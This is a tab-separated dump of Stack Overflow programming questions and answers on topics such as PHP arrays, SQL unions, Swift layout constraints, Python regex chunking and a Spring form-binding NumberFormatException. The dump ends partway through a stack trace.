25415317	0	 <p>You can change the Find navigator from searching for text to search for regular expressions, then you can be as detailed as you like.</p> <p>Searching for the regex "myMethodWithParameter.*some" would return all instance of the first and not the second</p> <p>On a side not Bamsworld's answer is good too, I had often wondered what those other options were for in the assistant editor. TIL</p>
20256480	0	Prevent eclipse from building the projects before run an Ant task <p>I want to prevent the project from compiling when I run an Ant task, how is this done? </p> <p>Eclipse build setting is not automatic but the build still remains running before any ant task be launched.</p>
7794199	0	 <p>You should look into the UIAppearance proxy in iOS 5. For earlier versions the singleton approach seems fine, you request an appearance change to the singleton which changes its various images, then either sends a notification (NSNotification) to inform any interested parties who would want to update their interface accordingly. Or you can set key value observers (KVO) on the singleton properties so they are automatically informed when one of them changes.</p> <p><a href="http://stackoverflow.com/questions/145154/what-does-your-objective-c-singleton-look-like">This post</a> shows you how to implement a singleton. It's just a way to be able to access the same instance of a class from anywhere. <a href="http://www.makebetterthings.com/blogs/iphone/singleton-design-pattern-for-objective-c/" rel="nofollow">Here</a> is a link to a discussion about the singleton design pattern along with a more involved "pure" singleton implementation.</p>
38176409	0	 <p>How about adding one extra decimal that is to be rounded and then discarded:</p> <pre><code>var d = 0.241534545765; var result1 = d.ToString("0.###%"); var result2 = result1.Remove(result1.Length - 1); </code></pre>
6050805	0	getting the raw source from Firefox with javascript <p>I am writing a program to validate web pages on a remote server. It uses selenium RC to run Firefox with a battery of tests, so I can call arbitrary javascript. When there is a failure I would like to log the page's generated HTML. Now getting access to the DOM HTML is easy, But I am having real trouble finding a way to get at the source. Thanks.</p> <p>I should reiterate that I am not looking for the DOM, but the original unmodified source code. As can be seen through Right click -> view page source. Specifically if <code>&lt;Html&gt; &lt;body&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt; fear the table data &lt;/td&gt; &lt;/table&gt;</code></p> <p> is the real HTML. Calls to <code>document.documentElement.outerHTML || document.documentElement.innerHTML</code> and <code>selenium.getHTMLSource()</code> will result in <code>&lt;head&gt; &lt;/head&gt;&lt;body&gt; &lt;table&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; fear the table data &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/body&gt;</code></p>
33014919	0	How do you create an array with custom indexes? <p>For some reason I can't create an array with custom indexes in <code>Javascript</code> or <code>PHP</code>. I have searched on Google, but I can't find anything when searching on <em>creating array with custom indexes</em>. I could swear the code below was working before. So was the code below working before or am I doing something wrong? And if the code below was working before then what is the new way of creating an array with custom indexes?</p> <p><strong>PHP</strong></p> <pre><code>&lt;?php $foo = ['bar' =&gt; 'baz']; ?&gt; </code></pre> <blockquote> <p>Error: Array to string conversion</p> </blockquote> <p><strong>Javascript</strong></p> <pre><code>var foo = ['bar' =&gt; 'baz']; </code></pre> <blockquote> <p>Error: Uncaught SyntaxError: Unexpected string</p> </blockquote>
22040589	0	 <p>There is no immediate way to do this. I suggest you append each substring to a <code>List</code> or even to a <code>Stack</code>, and pop whatever you don't need out of your data structure. When you are totally sure about what to present in your <code>StringBuilder</code>, start appending to it by running through your <code>Collection</code> and putting each substring into your final <code>StringBuilder</code>.</p>
23541019	0	 <pre><code>SELECT *, 'table_1' as tablename FROM table_1 WHERE text ='Hello' union all SELECT *, 'table_2' as tablename FROM table_2 WHERE text ='Hello' union all SELECT *, 'table_3' as tablename FROM table_3 WHERE text ='Hello' </code></pre>
26662921	0	 <p>As you give no code it's hard to suggest actual code... However, the customary way to make text invisible is to use the text render mode. All text in PDF has such a text render mode and it determines whether the text is rendered as filled text (normal), stroked text, filled and stroked... And one of the possibilities is "invisible" which makes sure the text isn't shown.</p> <p>When parsing text on a page iText amongst other things allows you to filter the text that is returned - see the FilteredRenderListener for example. During filtering you can then determine whether you're interested in the text or not. There is a lot of information about the text you can inspect using the TextRenderInfo object. This object has a method called "getTextRenderMode" that will return the above text render mode. If that call returns "3", you know the text is rendered invisibly.</p> <p>Now, if you want to know for sure whether this text is indeed rendered invisibly (and not using one of the other nasty tricks @jongware suggests in his comment, you'll have to inspect the PDF or share an example with us so that we can take a look.</p>
25399483	0	 <pre><code>$array = [1, 6, 2]; array_unshift($array, array_pop($array)); </code></pre> <p>Or possibly:</p> <pre><code>$array = [1, 6, 2]; $tmp = array_splice($array, 2, 1); array_unshift($array, $tmp[0]); </code></pre> <p>You're not really looking for <em>sorting on values</em>, you just want to swap indices.<br> If you want to insert the value somewhere other than the front of the array, splice it back in with <a href="http://php.net/array_splice" rel="nofollow"><code>array_splice</code></a>.</p> <p>If you have more keys that you need to change around, then sorting may after all become the simplest solution:</p> <pre><code>uksort($array, function ($a, $b) { static $keyOrder = [2 =&gt; 0, 0 =&gt; 1, 1 =&gt; 2]; return $keyOrder[$b] - $keyOrder[$a]; }); </code></pre>
29469195	0	How to refactor code to avoid multiple if-s [from interview]? <p>On interview I was asked the following question:</p> <p>I have following method:</p> <pre><code>public void foo(SomeObject o){ if(o.matches(constant1)){ doSomething1(); }else if(o.matches(constant2)){ doSomething2(); }else if(o.matches(constant3)){ doSomething3(); } .... } </code></pre> <p>question was: <code>you should refactor method above. What will you do?</code></p> <p>On interview I didn't grasp how to make it.</p> <p>Now I think that <code>state</code> design pattern is suitable for this task ?</p> <p>Am I right? What do you think?</p> <h2>P.S.</h2> <p>I negotiated with my colleague. he thinks that <code>strategy</code> design pattern is more suitable.</p> <h2>P.S.</h2> <p>Another expert thinks that <code>chain of responsibility</code> design pattern is more suitable.</p>
22544161	0	Rails db query uniq column value and max value <p>I need to query db unique values and maximum value of another column.</p> <p>For example:</p> <pre><code>:name =&gt; "some_name_1", :version =&gt; 10, :other_columns... :name =&gt; "some_name_1", :version =&gt; 11, :other_columns... :name =&gt; "some_name_2", :version =&gt; 15, :other_columns... :name =&gt; "some_name_3", :version =&gt; 18, :other_columns... </code></pre> <p>What I would need is if the name show up multiple times the query should return only the one with the last version ( higher version number )</p> <p>So it should look like this : </p> <pre><code>:name =&gt; "some_name_1", :version =&gt; 11, :other_columns... :name =&gt; "some_name_2", :version =&gt; 15, :other_columns... :name =&gt; "some_name_3", :version =&gt; 18, :other_columns... </code></pre> <p>note that <code>:name =&gt; "some_name_1", :version =&gt; 10, :other_columns...</code> those not show in the query because a record with the same name already exist with a hither version number.</p> <p>Any idea? </p>
16642405	0	 <p>The following contrived examples do not have a unique solution. You need to decide what happens in these cases:</p> <pre><code>0, 1, 2, 3, 4, 5, 6, 7, 8, 9 // first item move to end 2, 1, 3, 4, 5, 6, 7, 8, 9, 0 // adjacent items swapped </code></pre> <p>For all other cases, luckily the telling trait is that the "out-of-order" item will be more than 1 away from <strong><em>both</em></strong> its neighbors (because #2 above).</p> <pre><code>for (i = 0; i &lt; arr.length; i++) { int priorIndex = (i-1) % arr.length; int nextIndex = (i+1) % arr.length; int diffToPriorValue = abs(arr[i] - arr[priorIndex]); int diffToNextValue = abs(arr[i] - arr[nextIndex]); if (diffToPriorValue &gt; arr.length/2) diffToPriorValue = arr.length - diffToPriorValue; // wrap-around if (diffToNextValue &gt; arr.length/2) diffToNextValue = arr.length - diffToNextValue; // wrap-around if (diffToPriorValue != 1 &amp;&amp; diffToNextValue != 1) return i; return -1; </code></pre>
20154840	0	 <p>The first error is strictly a client-side javascript error. The error description means exactly what it says. You should update your js appropriately.</p> <p>The second set of error message probably related to the fact you are making a cross-domain request for a javascript file which is not subject to your headers being sent by PHP. You would need to configure CORS on webserver for such endpoint</p>
37428630	0	 <p>That error is thrown if the second dimension does not exist. My money would go on that as your problem.</p> <p>Here's an example of an array of jagged arrays, the last being empty. The last line will throw a Type Mismatch error because there is no second dimension.</p> <pre><code>Dim mainArray(0 To 3) As Variant Dim subArray As Variant subArray = Array("A", "B", "C") mainArray(0) = subArray Debug.Print mainArray(0)(0) 'prints A subArray = Array(1, 2, 3, 4) mainArray(1) = subArray Debug.Print mainArray(1)(0) 'prints 1 subArray = Split("HELLO|WORLD", "|") mainArray(2) = subArray Debug.Print mainArray(2)(0) 'prints HELLO mainArray(3) = Empty Debug.Print mainArray(3)(0) 'Type mismatch </code></pre> <p>Have a look in your Locals Window and test if your arrays are correct.</p> <p>As noted in the comments, that <code>ReDim</code> without <code>Preserve</code> looks suspicious - I think you may be clearing your old arrays.</p>
8378524	0	fast intersection, complement and union of tab-delimited text files? <p>Can someone recommend a fast unix-based utility (ideally written in C) for getting efficient, streaming intersection/union of tab-delimited text files? For example, allow queries such as "give me the all the entries that in file A that have a column value K that does not appear in any column K of file B".</p> <p>e.g., if file A is:</p> <pre><code>bob sally sue bob mary john </code></pre> <p>and file B is:</p> <pre><code>john sally sue foo bar quux </code></pre> <p>then complement of file A relative to B on column 2 would return "bob mary john", since that's the only in file B that has a value in column 2 that does not appear in file B. </p> <p>I'd prefer not to use a database, but would like a command line based utility. Is awk the answer or is there something simpler? thanks.</p>
2033629	0	 <p>Some things to check:</p> <ul> <li><p>Does MinGW actually find the <code>winsock</code> library? (It seems so, since there's no explicit error saying otherwise.) If it does not, try to supply an additional library search path using <code>-L</code>.</p></li> <li><p>Did you compile the <code>winsock</code> library source yourself, also with MinGW? If the answer is "no", and the source code is available, that's what you might have to do, so that MinGW will recognise the exported symbols in the library object file.</p></li> </ul>
35188317	0	 <p>No, you don't need to create a service to access a database on a server. What you are actually asking is how to read from (write to) database on C#. As I understand you already have an access to the database (user account with granted access and password). You will need to use ADO.NET - it's a technology for data access.</p> <p>You will utilize SqlConnection, SqlDataReader and SqlCommand classes. check for example this example: <a href="http://stackoverflow.com/questions/6003480/reading-values-from-sql-database-in-c-sharp">Reading values from SQL database in C#</a></p> <p>There is a newer technology from Microsoft called Entity Framework. It provides better solution for working with databases. Use it if you need to work with many tables and complicated queries.</p>
38379066	0	 <p>Missed Iops, This is working now</p> <pre><code>{ "AWSTemplateFormatVersion" : "2010-09-09", "Resources" : { "MyDB" : { "Type": "AWS::RDS::DBInstance", "Properties": { "DBInstanceClass" : "db.t2.medium", "AllocatedStorage" : "400", "MasterUsername" : "xxxxxxxxxxxx", "MasterUserPassword" : "xxxxxxxxxxxx", "DBSnapshotIdentifier" : "xxxxxxxxxxxx-2016-07-13-1700", "Iops":"2000", "StorageType":"io1" } } } } </code></pre>
31963263	0	Visual Studio unable to get developer license <p><a href="https://i.stack.imgur.com/4MbjP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4MbjP.png" alt="Error 0x80072F8F"></a></p> <p>This error is obtained when trying to obtain developer license from Visual Studio 2015. How to resolve?</p>
22265971	0	 <p><code>PHPrunner</code> uses inbuilt server to preview your generated application. So quite obvious when you close Runner it will close the inbuilt server connection as well. You will have to move the <code>output</code> folder to <code>root folder</code> of your web server. If you look inside your project folder, you will find a folder named <code>output</code>, move this folder to the <code>root folder</code> of your web server, it should work fine.</p> <p>Make sure your web server is powered to use PHP and other drivers related to your project.</p>
34099604	0	 <p>Add: <code>import Foundation</code></p> <p>Then add an outlet:</p> <p><code>class ViewController: UIViewController { @IBOutlet weak var topConstraint: NSLayoutConstraint! ... } </code> Then change the value to 0 when the view disappears and then to 20 when it will appear:</p> <pre><code>override func viewWillAppear(animated: Bool) { topConstraint.constant = 20.0 } override func viewWillDisappear(animated: Bool) { topConstraint.constant = 0.0 } </code></pre> <p>Full code (make sure to remember to connect the constraint to the outlet):</p> <pre><code>import UIKit import Foundation class ViewController: UIViewController { @IBOutlet weak var topConstraint: NSLayoutConstraint! let controllerTransition = InteractiveControllerTransition(gestureType: .Pan) let controllerTransitionDelegate = ViewController2Transition() override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view, typically from a nib. controllerTransition.delegate = controllerTransitionDelegate controllerTransition.edge = .Bottom } override func viewWillAppear(animated: Bool) { topConstraint.constant = 20.0 } override func viewWillDisappear(animated: Bool) { topConstraint.constant = 0.0 } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } @IBAction func unwindToViewController(sender: UIStoryboardSegue) { } override func prefersStatusBarHidden() -&gt; Bool { return false } @IBAction func helloButtonAction(sender: UIButton) { // let storyBoard = UIStoryboard(name: "Main", bundle: nil) // let vc = storyBoard.instantiateViewControllerWithIdentifier("ViewController2") as! ViewController2 // // vc.transitioningDelegate = controllerTransition // controllerTransition.toViewController = vc // // self.presentViewController(vc, animated: true, completion: nil) let storyBoard = UIStoryboard(name: "Main", bundle: nil) // let nvc = storyBoard.instantiateViewControllerWithIdentifier("NavigationViewController2") as! UINavigationController // let vc = nvc.topViewController as! ViewController2 let vc = storyBoard.instantiateViewControllerWithIdentifier("ViewController2") as! ViewController2 // nvc.transitioningDelegate = controllerTransition vc.transitioningDelegate = controllerTransition controllerTransition.toViewController = vc // self.presentViewController(nvc, animated: true, completion: nil) self.presentViewController(vc, animated: true, completion: nil) } } </code></pre>
32615828	0	Can't make transaction in class <p>I have Main activity:</p> <pre><code>public class GeneralActivity extends ActionBarActivity { ... } </code></pre> <p>I have another class in which I create a drawer, I bring to the required parameters. But when I want to move to a different fragment when you click on the menu item, then IDE writes that there is no method getSupportFragmentManager ().</p> <pre><code>public class DrawerClass { public static void drawer(final Activity activity, Toolbar toolbar) { ... result.setOnDrawerItemClickListener(new Drawer.OnDrawerItemClickListener() { @Override public boolean onItemClick(View view, int i, IDrawerItem iDrawerItem) { Log.d("POSITION", "position = " + i); switch (i) { .... case 5: Toast.makeText(activity, R.string.drawer_item_journal, Toast.LENGTH_SHORT).show(); JournalFragment journalFragment = new JournalFragment(); FragmentTransaction transaction = getSupportFragmentManager() .beginTransaction(); transaction.replace(R.id.profile_fragment_layout, journalFragment); transaction.commit(); break; } return false; } }); </code></pre> <p>I have an error on the line <code>FragmentTransaction transaction = getSupportFragmentManager()</code> And I don't know how fix it. <br> I use this drawer in several classes, so I created a separate class in order to avoid duplication of code</p>
928463	0	 <p>Universal Business Language and dozens of others are documented at <a href="http://www.oasis-open.org" rel="nofollow noreferrer" title="OASIS">OASIS</a>. UBL is widely accepted as an invoicing standard, at least, and some countries (at least Denmark) make UBL a legal requirement for invoicing public organisations.</p>
15797505	0	 <p>Without more detail on your situation, here are some helpful resources.</p> <p>For time zones on Rails, have a look here for the various options you can use: <a href="http://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html" rel="nofollow">http://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html</a></p> <p>To format for your users, look into strftime. Docs: <a href="http://apidock.com/ruby/Time/strftime" rel="nofollow">http://apidock.com/ruby/Time/strftime</a></p> <p>A site that helps you generate strftime code: <a href="http://strftime.net/" rel="nofollow">http://strftime.net/</a></p> <p>A guide to I18n / internationalization: guides.rubyonrails.org/i18n.html (thanks @house9)</p>
27870266	1	Regex to split up message_txt over 160 characters <p>I am trying to split message text for a messaging system up into at most 160 character long sequences that end in spaces, unless it is the very last sequence, then it can end in anything as long as it is equal to or less than 160 characters.</p> <p>this re expression '.{1,160}\s' almost works however it cuts of the last word of a message because generally the last character of a message is not a space.</p> <p>I also tried '.{1,160}\s|.{1,160}' but this does not work because the final sequence is just the remaining text after the last space. Does anyone have an idea on how to do this?</p> <p>EXAMPLE:</p> <pre><code>two_cities = ("It was the best of times, it was the worst of times, it was " + "the age of wisdom, it was the age of foolishness, it was the " + "epoch of belief, it was the epoch of incredulity, it was the " + "season of Light, it was the season of Darkness, it was the " + "spring of hope, it was the winter of despair, we had " + "everything before us, we had nothing before us, we were all " + "going direct to Heaven, we were all going direct the other " + "way-- in short, the period was so far like the present period," + " that some of its noisiest authorities insisted on its being " + "received, for good or for evil, in the superlative degree of " + "comparison only.") chunks = re.findall('.{1,160}\s|.{1,160}', two_cities) print(chunks) </code></pre> <p>will return </p> <p>['It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of ', 'incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we ', 'had nothing before us, we were all going direct to Heaven, we were all going direct the other way-- in short, the period was so far like the present period, ', 'that some of its noisiest authorities insisted on its being received, for good or for evil, in the superlative degree of comparison ', 'only.']</p> <p>where the final element of the list should be </p> <p>'that some of its noisiest authorities insisted on its being received, for good or for evil, in the superlative degree of comparison only.'</p> <p>not 'only.'</p>
10438715	0	Why do many addresses on the stack point to the EXACT location of functions in the .map file? <p>I am debugging a runtime crash, with a stack trace that seems corrupted (see a related question from yesterday: <a href="http://stackoverflow.com/questions/10420325/is-the-stack-corrupted-if-the-ebp-frame-pointer-is-null">Is the stack corrupted if the EBP frame pointer is NULL?</a>).</p> <p>Despite the corruption of the stack, I see many values on the stack that point to the <strong>exact</strong> locations of functions in the corresponding .map file. Furthermore, these functions are (for the most part, if not entirely) the expected functions that should appear on the stack in this case.</p> <p>As one example (there are many), here is the stack value, and corresponding .map entry value:</p> <pre><code>0588fe5c: 005caa30 (stack address / value at that address) 0001:001c9a30 __ehhandler$?ProcessTAFRequest@TQueryThread@@UAEXXZ 005caa30 f portable_source:UQueryThread.obj (.map file entry indicating that address 005caa30 is the starting location of the function noted) </code></pre> <p>Assuming (likely incorrectly) that the stack is <em>not</em> corrupted except near the top, and that the function addresses I see somehow do correspond to the stack frames and corresponding EIP (return address) pointers, then my question is this: Why do I consistently see the <em>exact</em> value of the location of the functions in the .map file corresponding to the stack? In the past, a number of times I have walked through an uncorrupted stack trace, and always, the EIP pointers in the stack frames point <strong>near</strong>, but not <strong>at</strong>, the location of the corresponding functions listed in the .map file. (This makes sense, since the return address will typically be in the middle of a function, not at the start).</p> <p>Can somebody please shed light?</p>
33361792	0	Getting client static IP address <p>I am deplyong a web application in the Internet and I am checking whether the user's login is valid by checking its client IP address (e.g. <em>192.168.2.XXX</em>). Actually, I have found a working code (below). This code was completely working before, but after some time, its output is not the same anymore. Now, this code only gives me 1 IP address which is the server's IP address. What is wrong with my code? How can I get the client's static IP address rather than the server's IP address? I have also tried other solutions such as <code>getRemoteAddr()</code> and <code>request.getHeader("PROXY-CLIENT-IP")</code> but it is not working.</p> <p>Java:</p> <pre><code>String ipAddress = request.getHeader("X-FORWARDED-FOR"); if(ipAddress == null) ipAddress = InetAddress.getLocalHost().getHostAddress(); </code></pre>
19023604	0	 <p>IMHO, single producer accessed by multi threads with lock won't resolve your problem, because it simply shift the locking from the disruptor side to your own program.</p> <p>The solution to your problem varies from the type of event model you need. I.e. do you need the events to be consumed chronologically; merged; or any special requirement. Since you are dealing with disruptor and multi producers, that sounds to me very much like FX trading systems :-) Anyway, based on my experience, assuming you need chronological order per producer but don't care about mixing events between producers, I would recommend you to do a queue merging thread. The structure is</p> <ul> <li>Each producer produces data and put them into its own named queue</li> <li>A worker thread constantly examine the queues. For each queue it remove one or several items and put it to the single producer of your single producer disruptor.</li> </ul> <p>Note that in the above scenario,</p> <ul> <li>Each producer queue is a single producer single consumer queue.</li> <li>The disruptor is a single producer multi consumer disruptor.</li> <li>Depends on your need, to avoid a forever running thread, if the thread examine for, say, 100 runs and all queues are empty, it can set some variable and go wait() and the event producers can yield() it when seeing it's waiting.</li> </ul> <p>I think this resolve your problem. If not please post your need of event processing pattern and let's see.</p>
7725485	0	 <p>this would probably do the trick</p> <pre><code> success: function (data) { response($.map(data, function (item) { return { label: item.First, value: item.First} })) }); </code></pre>
14641357	0	 <p><code>attrgetter</code> can be used to pull out attributes of objects that you may want to key a sort by.</p> <pre><code>from operator import attrgetter results = [] results.extend(list(AudioItem.objects.filter(...))) results.extend(list(VideoItem.objects.filter(...))) results.extend(list(ImageItem.objects.filter(...)) results.sort(key=attrgetter("upload_date") </code></pre>
27750509	0	NumberFormatException when form is submited to spring controller <p>In my current spring project, when I try submit this form:</p> <pre><code> &lt;form role="form" class="form" action="/Destaque/cadastra" method="post" enctype="multipart/form-data"&gt; &lt;field-box&gt; &lt;div&gt; &lt;div&gt; &lt;div&gt; &lt;label&gt;Produto&lt;/label&gt;&lt;select class="form-control" name="listaDeProdutos[]" multiple="multiple" rows="7"&gt;&lt;option value="1"&gt;one&lt;/option&gt;&lt;option value="2"&gt;two&lt;/option&gt;&lt;option value="3"&gt;three&lt;/option&gt;&lt;option value="4"&gt;four&lt;/option&gt;&lt;option value="5"&gt;five&lt;/option&gt;&lt;option value="6"&gt;six&lt;/option&gt;&lt;option value="7"&gt;seven&lt;/option&gt;&lt;option value="8"&gt;eight&lt;/option&gt;&lt;option value="9"&gt;nine&lt;/option&gt;&lt;option value="10"&gt;ten&lt;/option&gt;&lt;option value="11"&gt;eleven&lt;/option&gt;&lt;option value="12"&gt;twelve&lt;/option&gt;&lt;/select&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;Titulo&lt;/label&gt;&lt;input type="text" class="form-control" name="titulo" /&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;Resumo&lt;/label&gt;&lt;input type="text" class="form-control" name="resumo" /&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;Valor&lt;/label&gt;&lt;input type="text" class="form-control valida" pattern="[0-9]{2}.[0-9]{2}" name="valor" /&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;Descrição&lt;/label&gt;&lt;textarea class="summernote" name="descricao"&gt;&lt;/textarea&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;Capa do destaque&lt;/label&gt;&lt;input type="file" class="form-control" name="icone" /&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;Validade&lt;/label&gt;&lt;input type="text" class="form-control valida" pattern="[0-9]{2}/[0-9]{2}/[0-9]{4}" name="validade" /&gt; &lt;/field-box&gt; &lt;field-box&gt; &lt;label&gt;destaque ativo&lt;/label&gt;&lt;input type="checkbox" name="ativo" /&gt; &lt;/field-box&gt; &lt;button type="submit" class="btn btn-default"&gt;Cadastrar&lt;/button&gt; &lt;div id="yes" class="alert alert-success" role="alert" style="display: none;"&gt; &lt;button type="button" class="close" data-hide="alert"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;span class="sr-only"&gt;Close&lt;/span&gt;&lt;/button&gt; &lt;span class="text"&gt;Cadastro efetuado com sucesso&lt;/span&gt; &lt;/div&gt; &lt;div id="not" class="alert alert-danger" role="alert" style="display: none;"&gt; &lt;button type="button" class="close" data-hide="alert"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;span class="sr-only"&gt;Close&lt;/span&gt;&lt;/button&gt; &lt;span class="text"&gt;&lt;/span&gt; &lt;/div&gt; </code></pre> <p></p> <p>to this entity class:</p> <pre><code>@Entity @Form @FormPublic @Order(value = 5) public class Destaque extends Model { @Id @GeneratedValue(strategy=GenerationType.IDENTITY) @Order(value = 1) private Integer id; @ManyToMany @JoinTable(name="listaDeProdutosEmDestaque", joinColumns={@JoinColumn(name="fk_destaque")}, inverseJoinColumns={@JoinColumn(name="fk_produto")}) @LazyCollection(LazyCollectionOption.FALSE) @Order(value = 2) @Select(label = "Produto", classe=Produto.class) private List&lt;Produto&gt; listaDeProdutos; @Order(value = 3) @Input(label = "Titulo") @Column(length = 100) private String titulo; @Order(value = 4) @Input(label = "Resumo") @Column(length = 100) private String resumo; @Order(value = 5) @Input(label = "Valor", pattern = "[0-9]{2}.[0-9]{2}") private Float valor; @Order(value = 6) @Textarea(label = "Descrição") @Column(length = 131072) private String descricao; @OneToOne @JoinColumn(name = "banner") @Order(value = 7) @Input(label = "Capa do destaque", type="file") private Picture icone; @Order(value = 8) @Input(label = "Validade", pattern = "[0-9]{2}/[0-9]{2}/[0-9]{4}") private Date validade; @Order(value = 9) @Checkbox(label = "destaque ativo") private Boolean ativo; } </code></pre> <p>I am getting this error:</p> <pre><code>java.lang.NumberFormatException: For input string: "" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:504) at java.lang.Integer.parseInt(Integer.java:527) at org.springframework.beans.BeanWrapperImpl.setPropertyValue(BeanWrapperImpl.java:993) at org.springframework.beans.BeanWrapperImpl.setPropertyValue(BeanWrapperImpl.java:926) at org.springframework.beans.AbstractPropertyAccessor.setPropertyValues(AbstractPropertyAccessor.java:95) at org.springframework.validation.DataBinder.applyPropertyValues(DataBinder.java:749) at org.springframework.validation.DataBinder.doBind(DataBinder.java:645) at org.springframework.web.bind.WebDataBinder.doBind(WebDataBinder.java:189) at org.springframework.web.bind.ServletRequestDataBinder.bind(ServletRequestDataBinder.java:106) at org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.bindRequestParameters(ServletModelAttributeMethodProcessor.java:150) at org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:110) at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:77) at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:162) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:129) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:110) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:777) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:706) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:943) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966) at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868) at javax.servlet.http.HttpServlet.service(HttpServlet.java:644) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842) at javax.servlet.http.HttpServlet.service(HttpServlet.java:725) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal(HiddenHttpMethodFilter.java:77) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:330) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:118) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:84) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:113) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:103) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:113) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:146) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:154) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:45) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:199) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:110) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:57) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:87) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:50) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107) at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342) at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:192) 